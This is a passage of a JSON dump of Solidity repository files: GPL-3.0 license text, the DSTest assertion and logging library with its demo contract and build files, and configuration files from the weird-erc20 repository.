are a party to an arrangement with a third party that is\nin the business of distributing software, under which you make payment\nto the third party based on the extent of your activity of conveying\nthe work, and under which the third party grants, to any of the\nparties who would receive the covered work from you, a discriminatory\npatent license (a) in connection with copies of the covered work\nconveyed by you (or copies made from those copies), or (b) primarily\nfor and in connection with specific products or compilations that\ncontain the covered work, unless you entered into that arrangement,\nor that patent license was granted, prior to 28 March 2007.\n\n  Nothing in this License shall be construed as excluding or limiting\nany implied license or other defenses to infringement that may\notherwise be available to you under applicable patent law.\n\n  12. No Surrender of Others' Freedom.\n\n  If conditions are imposed on you (whether by court order, agreement or\notherwise) that contradict the conditions of this License, they do not\nexcuse you from the conditions of this License.  If you cannot convey a\ncovered work so as to satisfy simultaneously your obligations under this\nLicense and any other pertinent obligations, then as a consequence you may\nnot convey it at all.  For example, if you agree to terms that obligate you\nto collect a royalty for further conveying from those to whom you convey\nthe Program, the only way you could satisfy both those terms and this\nLicense would be to refrain entirely from conveying the Program.\n\n  13. Use with the GNU Affero General Public License.\n\n  Notwithstanding any other provision of this License, you have\npermission to link or combine any covered work with a work licensed\nunder version 3 of the GNU Affero General Public License into a single\ncombined work, and to convey the resulting work.  The terms of this\nLicense will continue to apply to the part which is the covered work,\nbut the special requirements of the GNU Affero General Public License,\nsection 13, concerning interaction through a network will apply to the\ncombination as such.\n\n  14. Revised Versions of this License.\n\n  The Free Software Foundation may publish revised and/or new versions of\nthe GNU General Public License from time to time.  Such new versions will\nbe similar in spirit to the present version, but may differ in detail to\naddress new problems or concerns.\n\n  Each version is given a distinguishing version number.  If the\nProgram specifies that a certain numbered version of the GNU General\nPublic License \"or any later version\" applies to it, you have the\noption of following the terms and conditions either of that numbered\nversion or of any later version published by the Free Software\nFoundation.  If the Program does not specify a version number of the\nGNU General Public License, you may choose any version ever published\nby the Free Software Foundation.\n\n  If the Program specifies that a proxy can decide which future\nversions of the GNU General Public License can be used, that proxy's\npublic statement of acceptance of a version permanently authorizes you\nto choose that version for the Program.\n\n  Later license versions may give you additional or different\npermissions.  However, no additional obligations are imposed on any\nauthor or copyright holder as a result of your choosing to follow a\nlater version.\n\n  15. Disclaimer of Warranty.\n\n  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY\nAPPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT\nHOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM \"AS IS\" WITHOUT WARRANTY\nOF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,\nTHE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\nPURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM\nIS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF\nALL NECESSARY SERVICING, REPAIR OR CORRECTION.\n\n  16. Limitation of Liability.\n\n  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING\nWILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS\nTHE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY\nGENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE\nUSE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF\nDATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD\nPARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),\nEVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF\nSUCH DAMAGES.\n\n  17. Interpretation of Sections 15 and 16.\n\n  If the disclaimer of warranty and limitation of liability provided\nabove cannot be given local legal effect according to their terms,\nreviewing courts shall apply local law that most closely approximates\nan absolute waiver of all civil liability in connection with the\nProgram, unless a warranty or assumption of liability accompanies a\ncopy of the Program in return for a fee.\n\n                     END OF TERMS AND CONDITIONS\n\n            How to Apply These Terms to Your New Programs\n\n  If you develop a new program, and you want it to be of the greatest\npossible use to the public, the best way to achieve this is to make it\nfree software which everyone can redistribute and change under these terms.\n\n  To do so, attach the following notices to the program.  It is safest\nto attach them to the start of each source file to most effectively\nstate the exclusion of warranty; and each file should have at least\nthe \"copyright\" line and a pointer to where the full notice is found.\n\n    <one line to give the program's name and a brief idea of what it does.>\n    Copyright (C) <year>  <name of author>\n\n    This program is free software: you can redistribute it and/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation, either version 3 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with this program.  If not, see <http://www.gnu.org/licenses/>.\n\nAlso add information on how to contact you by electronic and paper mail.\n\n  If the program does terminal interaction, make it output a short\nnotice like this when it starts in an interactive mode:\n\n    <program>  Copyright (C) <year>  <name of author>\n    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.\n    This is free software, and you are welcome to redistribute it\n    under certain conditions; type `show c' for details.\n\nThe hypothetical commands `show w' and `show c' should show the appropriate\nparts of the General Public License.  Of course, your program's commands\nmight be different; for a GUI interface, you would use an \"about box\".\n\n  You should also get your employer (if you work as a programmer) or school,\nif any, to sign a \"copyright disclaimer\" for the program, if necessary.\nFor more information on this, and how to apply and follow the GNU GPL, see\n<http://www.gnu.org/licenses/>.\n\n  The GNU General Public License does not permit incorporating your program\ninto proprietary programs.  If your program is a subroutine library, you\nmay consider it more useful to permit linking proprietary applications with\nthe library.  If this is what you want to do, use the GNU Lesser General\nPublic License instead of this License.  But first, please read\n<http://www.gnu.org/philosophy/why-not-lgpl.html>.\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/lib/ds-test/Makefile",
    "content": "all:; dapp build\n\ntest:\n\t-dapp --use solc:0.4.23 build\n\t-dapp --use solc:0.4.26 build\n\t-dapp --use solc:0.5.17 build\n\t-dapp --use solc:0.6.12 build\n\t-dapp --use solc:0.7.5  build\n\ndemo:\n\tDAPP_SRC=demo dapp --use solc:0.7.5 build\n\t-hevm dapp-test --verbose 3\n\n.PHONY: test demo\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/lib/ds-test/default.nix",
    "content": "{ solidityPackage, dappsys }: solidityPackage {\n  name = \"ds-test\";\n  src = ./src;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/lib/ds-test/demo/demo.sol",
    "content": "// SPDX-License-Identifier: GPL-3.0-or-later\npragma solidity >=0.4.23;\n\nimport \"../src/test.sol\";\n\ncontract DemoTest is DSTest {\n    function test_this() public pure {\n        require(true);\n    }\n    function test_logs() public {\n        emit log(\"-- log(string)\");\n        emit log(\"a string\");\n\n        emit log(\"-- log_named_uint(string, uint)\");\n        log_named_uint(\"uint\", 512);\n\n        emit log(\"-- log_named_int(string, int)\");\n        log_named_int(\"int\", -512);\n\n        emit log(\"-- log_named_address(string, address)\");\n        log_named_address(\"address\", address(this));\n\n        emit log(\"-- log_named_bytes32(string, bytes32)\");\n        log_named_bytes32(\"bytes32\", \"a string\");\n\n        emit log(\"-- log_named_bytes(string, bytes)\");\n        log_named_bytes(\"bytes\", hex\"cafefe\");\n\n        emit log(\"-- log_named_string(string, string)\");\n        log_named_string(\"string\", \"a string\");\n\n        emit log(\"-- log_named_decimal_uint(string, uint, uint)\");\n        log_named_decimal_uint(\"decimal uint\", 1.0e18, 18);\n\n        emit log(\"-- log_named_decimal_int(string, int, uint)\");\n        log_named_decimal_int(\"decimal int\", -1.0e18, 18);\n    }\n    event log_old_named_uint(bytes32,uint);\n    function test_old_logs() public {\n        log_old_named_uint(\"key\", 500);\n        log_named_bytes32(\"bkey\", \"val\");\n    }\n    function test_trace() public view {\n        this.echo(\"string 1\", \"string 2\");\n    }\n    function test_multiline() public {\n        emit log(\"a multiline\\\\n\" \"string\");\n        emit log(\"a multiline \" \"string\");\n        log_bytes(\"a string\");\n        log_bytes(\"a multiline\\n\" \"string\");\n        log_bytes(\"a multiline\\\\n\" \"string\");\n        emit log(unicode\"Ώ\");\n        logs(hex\"0000\");\n        log_named_bytes(\"0x0000\", hex\"0000\");\n        logs(hex\"ff\");\n    }\n    function echo(string memory s1, string memory s2) public pure\n        returns (string memory, string memory)\n    {\n        return (s1, s2);\n    }\n\n    function prove_this(uint x) public {\n        log_named_uint(\"sym x\", x);\n        assertGt(x + 1, 0);\n    }\n\n    function test_logn() public {\n        assembly {\n            log0(0x01, 0x02)\n            log1(0x01, 0x02, 0x03)\n            log2(0x01, 0x02, 0x03, 0x04)\n            log3(0x01, 0x02, 0x03, 0x04, 0x05)\n        }\n    }\n\n    event MyEvent(uint, uint indexed, uint, uint indexed);\n    function test_events() public {\n        emit MyEvent(1, 2, 3, 4);\n    }\n\n    function test_asserts() public {\n        string memory err = \"this test has failed!\";\n        emit log(\"## assertTrue(bool)\\n\");\n        assertTrue(false);\n        emit log(\"\\n\");\n        assertTrue(false, err);\n\n        emit log(\"\\n## assertEq(address,address)\\n\");\n        assertEq(address(this), msg.sender);\n        emit log(\"\\n\");\n        assertEq(address(this), msg.sender, err);\n\n        emit log(\"\\n## assertEq32(bytes32,bytes32)\\n\");\n        assertEq32(\"bytes 1\", \"bytes 2\");\n        emit log(\"\\n\");\n        assertEq32(\"bytes 1\", \"bytes 2\", err);\n\n        emit log(\"\\n## assertEq(bytes32,bytes32)\\n\");\n        assertEq32(\"bytes 1\", \"bytes 2\");\n        emit log(\"\\n\");\n        assertEq32(\"bytes 1\", \"bytes 2\", err);\n\n        emit log(\"\\n## assertEq(uint,uint)\\n\");\n        assertEq(uint(0), 1);\n        emit log(\"\\n\");\n        assertEq(uint(0), 1, err);\n\n        emit log(\"\\n## assertEq(int,int)\\n\");\n        assertEq(-1, -2);\n        emit log(\"\\n\");\n        assertEq(-1, -2, err);\n\n        emit log(\"\\n## assertEqDecimal(int,int,uint)\\n\");\n        assertEqDecimal(-1.0e18, -1.1e18, 18);\n        emit log(\"\\n\");\n        assertEqDecimal(-1.0e18, -1.1e18, 18, err);\n\n        emit log(\"\\n## assertEqDecimal(uint,uint,uint)\\n\");\n        assertEqDecimal(uint(1.0e18), 1.1e18, 18);\n        emit log(\"\\n\");\n        assertEqDecimal(uint(1.0e18), 1.1e18, 18, err);\n\n        emit log(\"\\n## assertGt(uint,uint)\\n\");\n        assertGt(uint(0), 0);\n        emit log(\"\\n\");\n        assertGt(uint(0), 0, err);\n\n        emit log(\"\\n## assertGt(int,int)\\n\");\n        assertGt(-1, -1);\n        emit log(\"\\n\");\n        assertGt(-1, -1, err);\n\n        emit log(\"\\n## assertGtDecimal(int,int,uint)\\n\");\n        assertGtDecimal(-2.0e18, -1.1e18, 18);\n        emit log(\"\\n\");\n        assertGtDecimal(-2.0e18, -1.1e18, 18, err);\n\n        emit log(\"\\n## assertGtDecimal(uint,uint,uint)\\n\");\n        assertGtDecimal(uint(1.0e18), 1.1e18, 18);\n        emit log(\"\\n\");\n        assertGtDecimal(uint(1.0e18), 1.1e18, 18, err);\n\n        emit log(\"\\n## assertGe(uint,uint)\\n\");\n        assertGe(uint(0), 1);\n        emit log(\"\\n\");\n        assertGe(uint(0), 1, err);\n\n        emit log(\"\\n## assertGe(int,int)\\n\");\n        assertGe(-1, 0);\n        emit log(\"\\n\");\n        assertGe(-1, 0, err);\n\n        emit log(\"\\n## assertGeDecimal(int,int,uint)\\n\");\n        assertGeDecimal(-2.0e18, -1.1e18, 18);\n        emit log(\"\\n\");\n        assertGeDecimal(-2.0e18, -1.1e18, 18, err);\n\n        emit log(\"\\n## assertGeDecimal(uint,uint,uint)\\n\");\n        assertGeDecimal(uint(1.0e18), 1.1e18, 18);\n        emit log(\"\\n\");\n        assertGeDecimal(uint(1.0e18), 1.1e18, 18, err);\n\n        emit log(\"\\n## assertLt(uint,uint)\\n\");\n        assertLt(uint(0), 0);\n        emit log(\"\\n\");\n        assertLt(uint(0), 0, err);\n\n        emit log(\"\\n## assertLt(int,int)\\n\");\n        assertLt(-1, -1);\n        emit log(\"\\n\");\n        assertLt(-1, -1, err);\n\n        emit log(\"\\n## assertLtDecimal(int,int,uint)\\n\");\n        assertLtDecimal(-1.0e18, -1.1e18, 18);\n        emit log(\"\\n\");\n        assertLtDecimal(-1.0e18, -1.1e18, 18, err);\n\n        emit log(\"\\n## assertLtDecimal(uint,uint,uint)\\n\");\n        assertLtDecimal(uint(2.0e18), 1.1e18, 18);\n        emit log(\"\\n\");\n        assertLtDecimal(uint(2.0e18), 1.1e18, 18, err);\n\n        emit log(\"\\n## assertLe(uint,uint)\\n\");\n        assertLe(uint(1), 0);\n        emit log(\"\\n\");\n        assertLe(uint(1), 0, err);\n\n        emit log(\"\\n## assertLe(int,int)\\n\");\n        assertLe(0, -1);\n        emit log(\"\\n\");\n        assertLe(0, -1, err);\n\n        emit log(\"\\n## assertLeDecimal(int,int,uint)\\n\");\n        assertLeDecimal(-1.0e18, -1.1e18, 18);\n        emit log(\"\\n\");\n        assertLeDecimal(-1.0e18, -1.1e18, 18, err);\n\n        emit log(\"\\n## assertLeDecimal(uint,uint,uint)\\n\");\n        assertLeDecimal(uint(2.0e18), 1.1e18, 18);\n        emit log(\"\\n\");\n        assertLeDecimal(uint(2.0e18), 1.1e18, 18, err);\n\n        emit log(\"\\n## assertEq(string,string)\\n\");\n        string memory s1 = \"string 1\";\n        string memory s2 = \"string 2\";\n        assertEq(s1, s2);\n        emit log(\"\\n\");\n        assertEq(s1, s2, err);\n\n        emit log(\"\\n## assertEq0(bytes,bytes)\\n\");\n        assertEq0(hex\"abcdef01\", hex\"abcdef02\");\n        log(\"\\n\");\n        assertEq0(hex\"abcdef01\", hex\"abcdef02\", err);\n    }\n}\n\ncontract DemoTestWithSetUp {\n    function setUp() public {\n    }\n    function test_pass() public pure {\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/lib/ds-test/src/test.sol",
    "content": "// SPDX-License-Identifier: GPL-3.0-or-later\n\n// This program is free software: you can redistribute it and/or modify\n// it under the terms of the GNU General Public License as published by\n// the Free Software Foundation, either version 3 of the License, or\n// (at your option) any later version.\n\n// This program is distributed in the hope that it will be useful,\n// but WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n// GNU General Public License for more details.\n\n// You should have received a copy of the GNU General Public License\n// along with this program.  If not, see <http://www.gnu.org/licenses/>.\n\npragma solidity >=0.4.23;\n\ncontract DSTest {\n    event log                    (string);\n    event logs                   (bytes);\n\n    event log_address            (address);\n    event log_bytes32            (bytes32);\n    event log_int                (int);\n    event log_uint               (uint);\n    event log_bytes              (bytes);\n    event log_string             (string);\n\n    event log_named_address      (string key, address val);\n    event log_named_bytes32      (string key, bytes32 val);\n    event log_named_decimal_int  (string key, int val, uint decimals);\n    event log_named_decimal_uint (string key, uint val, uint decimals);\n    event log_named_int          (string key, int val);\n    event log_named_uint         (string key, uint val);\n    event log_named_bytes        (string key, bytes val);\n    event log_named_string       (string key, string val);\n\n    bool public IS_TEST = true;\n    bool public failed;\n\n    address constant HEVM_ADDRESS =\n        address(bytes20(uint160(uint256(keccak256('hevm cheat code')))));\n\n    modifier mayRevert() { _; }\n    modifier testopts(string memory) { _; }\n\n    function fail() internal {\n        failed = true;\n    }\n\n    modifier logs_gas() {\n        uint startGas = gasleft();\n        _;\n        uint endGas = gasleft();\n        emit log_named_uint(\"gas\", startGas - endGas);\n    }\n\n    function assertTrue(bool condition) internal {\n        if (!condition) {\n            emit log(\"Error: Assertion Failed\");\n            fail();\n        }\n    }\n\n    function assertTrue(bool condition, string memory err) internal {\n        if (!condition) {\n            emit log_named_string(\"Error\", err);\n            assertTrue(condition);\n        }\n    }\n\n    function assertEq(address a, address b) internal {\n        if (a != b) {\n            emit log(\"Error: a == b not satisfied [address]\");\n            emit log_named_address(\"  Expected\", b);\n            emit log_named_address(\"    Actual\", a);\n            fail();\n        }\n    }\n    function assertEq(address a, address b, string memory err) internal {\n        if (a != b) {\n            emit log_named_string (\"Error\", err);\n            assertEq(a, b);\n        }\n    }\n\n    function assertEq(bytes32 a, bytes32 b) internal {\n        if (a != b) {\n            emit log(\"Error: a == b not satisfied [bytes32]\");\n            emit log_named_bytes32(\"  Expected\", b);\n            emit log_named_bytes32(\"    Actual\", a);\n            fail();\n        }\n    }\n    function assertEq(bytes32 a, bytes32 b, string memory err) internal {\n        if (a != b) {\n            emit log_named_string (\"Error\", err);\n            assertEq(a, b);\n        }\n    }\n    function assertEq32(bytes32 a, bytes32 b) internal {\n        assertEq(a, b);\n    }\n    function assertEq32(bytes32 a, bytes32 b, string memory err) internal {\n        assertEq(a, b, err);\n    }\n\n    function assertEq(int a, int b) internal {\n        if (a != b) {\n            emit log(\"Error: a == b not satisfied [int]\");\n            emit log_named_int(\"  Expected\", b);\n            emit log_named_int(\"    Actual\", a);\n            fail();\n        }\n    }\n    function assertEq(int a, int b, string memory err) internal {\n        if (a != b) {\n            emit log_named_string(\"Error\", err);\n            assertEq(a, b);\n        }\n    }\n    function assertEq(uint a, uint b) internal {\n        if (a != b) {\n            emit log(\"Error: a == b not satisfied [uint]\");\n            emit log_named_uint(\"  Expected\", b);\n            emit log_named_uint(\"    Actual\", a);\n            fail();\n        }\n    }\n    function assertEq(uint a, uint b, string memory err) internal {\n        if (a != b) {\n            emit log_named_string(\"Error\", err);\n            assertEq(a, b);\n        }\n    }\n    function assertEqDecimal(int a, int b, uint decimals) internal {\n        if (a != b) {\n            emit log(\"Error: a == b not satisfied [decimal int]\");\n            emit log_named_decimal_int(\"  Expected\", b, decimals);\n            emit log_named_decimal_int(\"    Actual\", a, decimals);\n            fail();\n        }\n    }\n    function assertEqDecimal(int a, int b, uint decimals, string memory err) internal {\n        if (a != b) {\n            emit log_named_string(\"Error\", err);\n            assertEqDecimal(a, b, decimals);\n        }\n    }\n    function assertEqDecimal(uint a, uint b, uint decimals) internal {\n        if (a != b) {\n            emit log(\"Error: a == b not satisfied [decimal uint]\");\n            emit log_named_decimal_uint(\"  Expected\", b, decimals);\n            emit log_named_decimal_uint(\"    Actual\", a, decimals);\n            fail();\n        }\n    }\n    function assertEqDecimal(uint a, uint b, uint decimals, string memory err) internal {\n        if (a != b) {\n            emit log_named_string(\"Error\", err);\n            assertEqDecimal(a, b, decimals);\n        }\n    }\n\n    function assertGt(uint a, uint b) internal {\n        if (a <= b) {\n            emit log(\"Error: a > b not satisfied [uint]\");\n            emit log_named_uint(\"  Value a\", a);\n            emit log_named_uint(\"  Value b\", b);\n            fail();\n        }\n    }\n    function assertGt(uint a, uint b, string memory err) internal {\n        if (a <= b) {\n            emit log_named_string(\"Error\", err);\n            assertGt(a, b);\n        }\n    }\n    function assertGt(int a, int b) internal {\n        if (a <= b) {\n            emit log(\"Error: a > b not satisfied [int]\");\n            emit log_named_int(\"  Value a\", a);\n            emit log_named_int(\"  Value b\", b);\n            fail();\n        }\n    }\n    function assertGt(int a, int b, string memory err) internal {\n        if (a <= b) {\n            emit log_named_string(\"Error\", err);\n            assertGt(a, b);\n        }\n    }\n    function assertGtDecimal(int a, int b, uint decimals) internal {\n        if (a <= b) {\n            emit log(\"Error: a > b not satisfied [decimal int]\");\n            emit log_named_decimal_int(\"  Value a\", a, decimals);\n            emit log_named_decimal_int(\"  Value b\", b, decimals);\n            fail();\n        }\n    }\n    function assertGtDecimal(int a, int b, uint decimals, string memory err) internal {\n        if (a <= b) {\n            emit log_named_string(\"Error\", err);\n            assertGtDecimal(a, b, decimals);\n        }\n    }\n    function assertGtDecimal(uint a, uint b, uint decimals) internal {\n        if (a <= b) {\n            emit log(\"Error: a > b not satisfied [decimal uint]\");\n            emit log_named_decimal_uint(\"  Value a\", a, decimals);\n            emit log_named_decimal_uint(\"  Value b\", b, decimals);\n            fail();\n        }\n    }\n    function assertGtDecimal(uint a, uint b, uint decimals, string memory err) internal {\n        if (a <= b) {\n            emit log_named_string(\"Error\", err);\n            assertGtDecimal(a, b, decimals);\n        }\n    }\n\n    function assertGe(uint a, uint b) internal {\n        if (a < b) {\n            emit log(\"Error: a >= b not satisfied [uint]\");\n            emit log_named_uint(\"  Value a\", a);\n            emit log_named_uint(\"  Value b\", b);\n            fail();\n        }\n    }\n    function assertGe(uint a, uint b, string memory err) internal {\n        if (a < b) {\n            emit log_named_string(\"Error\", err);\n            assertGe(a, b);\n        }\n    }\n    function assertGe(int a, int b) internal {\n        if (a < b) {\n            emit log(\"Error: a >= b not satisfied [int]\");\n            emit log_named_int(\"  Value a\", a);\n            emit log_named_int(\"  Value b\", b);\n            fail();\n        }\n    }\n    function assertGe(int a, int b, string memory err) internal {\n        if (a < b) {\n            emit log_named_string(\"Error\", err);\n            assertGe(a, b);\n        }\n    }\n    function assertGeDecimal(int a, int b, uint decimals) internal {\n        if (a < b) {\n            emit log(\"Error: a >= b not satisfied [decimal int]\");\n            emit log_named_decimal_int(\"  Value a\", a, decimals);\n            emit log_named_decimal_int(\"  Value b\", b, decimals);\n            fail();\n        }\n    }\n    function assertGeDecimal(int a, int b, uint decimals, string memory err) internal {\n        if (a < b) {\n            emit log_named_string(\"Error\", err);\n            assertGeDecimal(a, b, decimals);\n        }\n    }\n    function assertGeDecimal(uint a, uint b, uint decimals) internal {\n        if (a < b) {\n            emit log(\"Error: a >= b not satisfied [decimal uint]\");\n            emit log_named_decimal_uint(\"  Value a\", a, decimals);\n            emit log_named_decimal_uint(\"  Value b\", b, decimals);\n            fail();\n        }\n    }\n    function assertGeDecimal(uint a, uint b, uint decimals, string memory err) internal {\n        if (a < b) {\n            emit log_named_string(\"Error\", err);\n            assertGeDecimal(a, b, decimals);\n        }\n    }\n\n    function assertLt(uint a, uint b) internal {\n        if (a >= b) {\n            emit log(\"Error: a < b not satisfied [uint]\");\n            emit log_named_uint(\"  Value a\", a);\n            emit log_named_uint(\"  Value b\", b);\n            fail();\n        }\n    }\n    function assertLt(uint a, uint b, string memory err) internal {\n        if (a >= b) {\n            emit log_named_string(\"Error\", err);\n            assertLt(a, b);\n        }\n    }\n    function assertLt(int a, int b) internal {\n        if (a >= b) {\n            emit log(\"Error: a < b not satisfied [int]\");\n            emit log_named_int(\"  Value a\", a);\n            emit log_named_int(\"  Value b\", b);\n            fail();\n        }\n    }\n    function assertLt(int a, int b, string memory err) internal {\n        if (a >= b) {\n            emit log_named_string(\"Error\", err);\n            assertLt(a, b);\n        }\n    }\n    function assertLtDecimal(int a, int b, uint decimals) internal {\n        if (a >= b) {\n            emit log(\"Error: a < b not satisfied [decimal int]\");\n            emit log_named_decimal_int(\"  Value a\", a, decimals);\n            emit log_named_decimal_int(\"  Value b\", b, decimals);\n            fail();\n        }\n    }\n    function assertLtDecimal(int a, int b, uint decimals, string memory err) internal {\n        if (a >= b) {\n            emit log_named_string(\"Error\", err);\n            assertLtDecimal(a, b, decimals);\n        }\n    }\n    function assertLtDecimal(uint a, uint b, uint decimals) internal {\n        if (a >= b) {\n            emit log(\"Error: a < b not satisfied [decimal uint]\");\n            emit log_named_decimal_uint(\"  Value a\", a, decimals);\n            emit log_named_decimal_uint(\"  Value b\", b, decimals);\n            fail();\n        }\n    }\n    function assertLtDecimal(uint a, uint b, uint decimals, string memory err) internal {\n        if (a >= b) {\n            emit log_named_string(\"Error\", err);\n            assertLtDecimal(a, b, decimals);\n        }\n    }\n\n    function assertLe(uint a, uint b) internal {\n        if (a > b) {\n            emit log(\"Error: a <= b not satisfied [uint]\");\n            emit log_named_uint(\"  Value a\", a);\n            emit log_named_uint(\"  Value b\", b);\n            fail();\n        }\n    }\n    function assertLe(uint a, uint b, string memory err) internal {\n        if (a > b) {\n            emit log_named_string(\"Error\", err);\n            assertLe(a, b);\n        }\n    }\n    function assertLe(int a, int b) internal {\n        if (a > b) {\n            emit log(\"Error: a <= b not satisfied [int]\");\n            emit log_named_int(\"  Value a\", a);\n            emit log_named_int(\"  Value b\", b);\n            fail();\n        }\n    }\n    function assertLe(int a, int b, string memory err) internal {\n        if (a > b) {\n            emit log_named_string(\"Error\", err);\n            assertLe(a, b);\n        }\n    }\n    function assertLeDecimal(int a, int b, uint decimals) internal {\n        if (a > b) {\n            emit log(\"Error: a <= b not satisfied [decimal int]\");\n            emit log_named_decimal_int(\"  Value a\", a, decimals);\n            emit log_named_decimal_int(\"  Value b\", b, decimals);\n            fail();\n        }\n    }\n    function assertLeDecimal(int a, int b, uint decimals, string memory err) internal {\n        if (a > b) {\n            emit log_named_string(\"Error\", err);\n            assertLeDecimal(a, b, decimals);\n        }\n    }\n    function assertLeDecimal(uint a, uint b, uint decimals) internal {\n        if (a > b) {\n            emit log(\"Error: a <= b not satisfied [decimal uint]\");\n            emit log_named_decimal_uint(\"  Value a\", a, decimals);\n            emit log_named_decimal_uint(\"  Value b\", b, decimals);\n            fail();\n        }\n    }\n    function assertLeDecimal(uint a, uint b, uint decimals, string memory err) internal {\n        if (a > b) {\n            emit log_named_string(\"Error\", err);\n            assertGeDecimal(a, b, decimals);\n        }\n    }\n\n    function assertEq(string memory a, string memory b) internal {\n        if (keccak256(abi.encodePacked(a)) != keccak256(abi.encodePacked(b))) {\n            emit log(\"Error: a == b not satisfied [string]\");\n            emit log_named_string(\"  Value a\", a);\n            emit log_named_string(\"  Value b\", b);\n            fail();\n        }\n    }\n    function assertEq(string memory a, string memory b, string memory err) internal {\n        if (keccak256(abi.encodePacked(a)) != keccak256(abi.encodePacked(b))) {\n            emit log_named_string(\"Error\", err);\n            assertEq(a, b);\n        }\n    }\n\n    function checkEq0(bytes memory a, bytes memory b) internal pure returns (bool ok) {\n        ok = true;\n        if (a.length == b.length) {\n            for (uint i = 0; i < a.length; i++) {\n                if (a[i] != b[i]) {\n                    ok = false;\n                }\n            }\n        } else {\n            ok = false;\n        }\n    }\n    function assertEq0(bytes memory a, bytes memory b) internal {\n        if (!checkEq0(a, b)) {\n            emit log(\"Error: a == b not satisfied [bytes]\");\n            emit log_named_bytes(\"  Expected\", a);\n            emit log_named_bytes(\"    Actual\", b);\n            fail();\n        }\n    }\n    function assertEq0(bytes memory a, bytes memory b, string memory err) internal {\n        if (!checkEq0(a, b)) {\n            emit log_named_string(\"Error\", err);\n            assertEq0(a, b);\n        }\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/lib/weird-erc20/.envrc",
    "content": "eval \"$(lorri direnv)\"\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/lib/weird-erc20/.gitattributes",
    "content": "*.sol linguist-language=Solidity\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/lib/weird-erc20/.gitignore",
    "content": "/out\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/lib/weird-erc20/.gitmodules",
    "content": "[submodule \"lib/ds-test\"]\n\tpath = lib/ds-test\n\turl = https://github.com/dapphub/ds-test\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/lib/weird-erc20/Makefile",
    "content": "build:\n\texport DAPP_SOLC=solc-0.6.12; dapp build\n\texport DAPP_SOLC=solc-0.7.6; dapp build\n\texport DAPP_SOLC=solc-0.8.6; dapp build\ntest:\n\tDAPP_SOLC=solc-0.8.6; dapp test\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/lib/weird-erc20/lib/ds-test/.gitignore",
    "content": "/.dapple\n/build\n/out\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/lib/weird-erc20/lib/ds-test/LICENSE",
    "content": "                    GNU GENERAL PUBLIC LICENSE\n                       Version 3, 29 June 2007\n\n Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>\n Everyone is permitted to copy and distribute verbatim copies\n of this license document, but changing it is not allowed.\n\n                            Preamble\n\n  The GNU General Public License is a free, copyleft license for\nsoftware and other kinds of works.\n\n  The licenses for most software and other practical works are designed\nto take away your freedom to share and change the works.  By contrast,\nthe GNU General Public License is intended to guarantee your freedom to\nshare and change all versions of a program--to make sure it remains free\nsoftware for all its users.  We, the Free Software Foundation, use the\nGNU General Public License for most of our software; it applies also to\nany other work released this way by its authors.  You can apply it to\nyour programs, too.\n\n  When we speak of free software, we are referring to freedom, not\nprice.  Our General Public Licenses are designed to make sure that you\nhave the freedom to distribute copies of free software (and charge for\nthem if you wish), that you receive source code or can get it if you\nwant it, that you can change the software or use pieces of it in new\nfree programs, and that you know you can do these things.\n\n  To protect your rights, we need to prevent others from denying you\nthese rights or asking you to surrender the rights.  Therefore, you have\ncertain responsibilities if you distribute copies of the software, or if\nyou modify it: responsibilities to respect the freedom of others.\n\n  For example, if you distribute copies of such a program, whether\ngratis or for a fee, you must pass on to the recipients the same\nfreedoms that you received.  You must make sure that they, too, receive\nor can get the source code.  And you must show them these terms so they\nknow their rights.\n\n  Developers that use the GNU GPL protect your rights with two steps:\n(1) assert copyright on the software, and (2) offer you this License\ngiving you legal permission to copy, distribute and/or modify it.\n\n  For the developers' and authors' protection, the GPL clearly explains\nthat there is no warranty for this free software.  For both users' and\nauthors' sake, the GPL requires that modified versions be marked as\nchanged, so that their problems will not be attributed erroneously to\nauthors of previous versions.\n\n  Some devices are designed to deny users access to install or run\nmodified versions of the software inside them, although the 